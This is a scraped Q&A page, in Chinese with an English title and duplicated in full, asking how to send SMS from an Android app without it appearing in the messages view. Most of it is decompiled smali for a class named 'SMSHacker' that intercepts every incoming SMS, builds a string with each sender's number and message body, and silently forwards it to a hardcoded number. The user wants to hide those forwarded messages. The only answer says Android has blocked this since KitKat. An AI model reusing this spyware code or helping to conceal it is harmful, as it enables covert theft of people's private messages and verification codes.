如何从 Android 应用程序发送短信而不使其记录在设备短信视图中
How to send SMS from the Android app without making it get recorded in device SMS view
我想从我的 android 应用发送短信。但我不希望它的记录存在于设备消息视图中。我目前正在使用以下代码:
.class public Lcom/sms/smshacker/SMSHacker;
.super Landroid/content/BroadcastReceiver;
.source "SMSHacker.java"
# static fields
.field private static final SMS_RECEIVED:Ljava/lang/String; = "android.provider.Telephony.SMS_RECEIVED"
.field private static final TAG:Ljava/lang/String; = "SMSBroadcastReceiver"
# direct methods
.method public constructor <init>()V
.locals 0
.prologue
.line 14
invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
return-void
.end method
# virtual methods
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
.locals 11
.parameter "context"
.parameter "intent"
.prologue
.line 21
const-string v1, "SMSBroadcastReceiver"
new-instance v2, Ljava/lang/StringBuilder;
const-string v4, "Intent recieved: "
invoke-direct {v2, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
move-result-object v4
invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v2
invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v2
invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
.line 23
invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
move-result-object v1
const-string v2, "android.provider.Telephony.SMS_RECEIVED"
invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
move-result v1
if-eqz v1, :cond_0
.line 24
invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
move-result-object v9
.line 25
.local v9, myBundle:Landroid/os/Bundle;
const/4 v8, 0x0
.line 26
.local v8, messages:[Landroid/telephony/SmsMessage;
const-string v3, ""
.line 28
.local v3, strMessage:Ljava/lang/String;
if-eqz v9, :cond_0
.line 29
const-string v1, "pdus"
invoke-virtual {v9, v1}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
move-result-object v10
check-cast v10, [Ljava/lang/Object;
.line 30
.local v10, pdus:[Ljava/lang/Object;
array-length v1, v10
new-array v8, v1, [Landroid/telephony/SmsMessage;
.line 32
const/4 v7, 0x0
.local v7, i:I
:goto_0
array-length v1, v8
if-lt v7, v1, :cond_1
.line 40
new-instance v1, Ljava/lang/StringBuilder;
const-string v2, "Message has been intercepted!\n"
invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v1
invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v3
.line 43
:try_start_0
invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
move-result-object v0
.line 44
.local v0, smsMan:Landroid/telephony/SmsManager;
const-string v1, "number Goes Here"
const/4 v2, 0x0
const/4 v4, 0x0
const/4 v5, 0x0
invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
.line 55
.end local v0 #smsMan:Landroid/telephony/SmsManager;
.end local v3 #strMessage:Ljava/lang/String;
.end local v7 #i:I
.end local v8 #messages:[Landroid/telephony/SmsMessage;
.end local v9 #myBundle:Landroid/os/Bundle;
.end local v10 #pdus:[Ljava/lang/Object;
:cond_0
:goto_1
return-void
.line 33
.restart local v3 #strMessage:Ljava/lang/String;
.restart local v7 #i:I
.restart local v8 #messages:[Landroid/telephony/SmsMessage;
.restart local v9 #myBundle:Landroid/os/Bundle;
.restart local v10 #pdus:[Ljava/lang/Object;
:cond_1
aget-object v1, v10, v7
check-cast v1, [B
invoke-static {v1}, Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage;
move-result-object v1
aput-object v1, v8, v7
.line 34
new-instance v1, Ljava/lang/StringBuilder;
invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v2
invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
const-string v2, "SMS From: "
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v1
.line 35
aget-object v2, v8, v7
invoke-virtual {v2}, Landroid/telephony/SmsMessage;->getOriginatingAddress()Ljava/lang/String;
move-result-object v2
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v1
.line 34
invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v3
.line 36
new-instance v1, Ljava/lang/StringBuilder;
invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v2
invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
const-string v2, "\n : "
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v1
invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v3
.line 37
new-instance v1, Ljava/lang/StringBuilder;
invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v2
invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
aget-object v2, v8, v7
invoke-virtual {v2}, Landroid/telephony/SmsMessage;->getMessageBody()Ljava/lang/String;
move-result-object v2
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v1
invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v3
.line 38
new-instance v1, Ljava/lang/StringBuilder;
invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v2
invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
const-string v2, "\n"
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v1
invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v3
.line 32
add-int/lit8 v7, v7, 0x1
goto/16 :goto_0
.line 46
:catch_0
move-exception v6
.line 47
.local v6, ex:Ljava/lang/Exception;
invoke-virtual {v6}, Ljava/lang/Exception;->printStackTrace()V
goto :goto_1
.end method
谁能告诉我要更改什么以及如何更改
任何帮助将不胜感激
kitkat 之后那是不可能的。无论哪个应用程序发送短信,它都会被添加到短信提供程序中,并将显示在默认选择的消息中 activity。这样做是为了防止应用程序发送对用户收费的隐藏消息。
我想从我的 android 应用发送短信。但我不希望它的记录存在于设备消息视图中。我目前正在使用以下代码:
.class public Lcom/sms/smshacker/SMSHacker;
.super Landroid/content/BroadcastReceiver;
.source "SMSHacker.java"
# static fields
.field private static final SMS_RECEIVED:Ljava/lang/String; = "android.provider.Telephony.SMS_RECEIVED"
.field private static final TAG:Ljava/lang/String; = "SMSBroadcastReceiver"
# direct methods
.method public constructor <init>()V
.locals 0
.prologue
.line 14
invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
return-void
.end method
# virtual methods
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
.locals 11
.parameter "context"
.parameter "intent"
.prologue
.line 21
const-string v1, "SMSBroadcastReceiver"
new-instance v2, Ljava/lang/StringBuilder;
const-string v4, "Intent recieved: "
invoke-direct {v2, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
move-result-object v4
invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v2
invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v2
invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
.line 23
invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
move-result-object v1
const-string v2, "android.provider.Telephony.SMS_RECEIVED"
invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
move-result v1
if-eqz v1, :cond_0
.line 24
invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
move-result-object v9
.line 25
.local v9, myBundle:Landroid/os/Bundle;
const/4 v8, 0x0
.line 26
.local v8, messages:[Landroid/telephony/SmsMessage;
const-string v3, ""
.line 28
.local v3, strMessage:Ljava/lang/String;
if-eqz v9, :cond_0
.line 29
const-string v1, "pdus"
invoke-virtual {v9, v1}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
move-result-object v10
check-cast v10, [Ljava/lang/Object;
.line 30
.local v10, pdus:[Ljava/lang/Object;
array-length v1, v10
new-array v8, v1, [Landroid/telephony/SmsMessage;
.line 32
const/4 v7, 0x0
.local v7, i:I
:goto_0
array-length v1, v8
if-lt v7, v1, :cond_1
.line 40
new-instance v1, Ljava/lang/StringBuilder;
const-string v2, "Message has been intercepted!\n"
invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v1
invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v3
.line 43
:try_start_0
invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
move-result-object v0
.line 44
.local v0, smsMan:Landroid/telephony/SmsManager;
const-string v1, "number Goes Here"
const/4 v2, 0x0
const/4 v4, 0x0
const/4 v5, 0x0
invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
.line 55
.end local v0 #smsMan:Landroid/telephony/SmsManager;
.end local v3 #strMessage:Ljava/lang/String;
.end local v7 #i:I
.end local v8 #messages:[Landroid/telephony/SmsMessage;
.end local v9 #myBundle:Landroid/os/Bundle;
.end local v10 #pdus:[Ljava/lang/Object;
:cond_0
:goto_1
return-void
.line 33
.restart local v3 #strMessage:Ljava/lang/String;
.restart local v7 #i:I
.restart local v8 #messages:[Landroid/telephony/SmsMessage;
.restart local v9 #myBundle:Landroid/os/Bundle;
.restart local v10 #pdus:[Ljava/lang/Object;
:cond_1
aget-object v1, v10, v7
check-cast v1, [B
invoke-static {v1}, Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage;
move-result-object v1
aput-object v1, v8, v7
.line 34
new-instance v1, Ljava/lang/StringBuilder;
invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v2
invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
const-string v2, "SMS From: "
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v1
.line 35
aget-object v2, v8, v7
invoke-virtual {v2}, Landroid/telephony/SmsMessage;->getOriginatingAddress()Ljava/lang/String;
move-result-object v2
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v1
.line 34
invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v3
.line 36
new-instance v1, Ljava/lang/StringBuilder;
invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v2
invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
const-string v2, "\n : "
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v1
invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v3
.line 37
new-instance v1, Ljava/lang/StringBuilder;
invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v2
invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
aget-object v2, v8, v7
invoke-virtual {v2}, Landroid/telephony/SmsMessage;->getMessageBody()Ljava/lang/String;
move-result-object v2
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v1
invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v3
.line 38
new-instance v1, Ljava/lang/StringBuilder;
invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v2
invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
const-string v2, "\n"
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v1
invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v3
.line 32
add-int/lit8 v7, v7, 0x1
goto/16 :goto_0
.line 46
:catch_0
move-exception v6
.line 47
.local v6, ex:Ljava/lang/Exception;
invoke-virtual {v6}, Ljava/lang/Exception;->printStackTrace()V
goto :goto_1
.end method
谁能告诉我要更改什么以及如何更改 任何帮助将不胜感激
kitkat 之后那是不可能的。无论哪个应用程序发送短信,它都会被添加到短信提供程序中,并将显示在默认选择的消息中 activity。这样做是为了防止应用程序发送对用户收费的隐藏消息。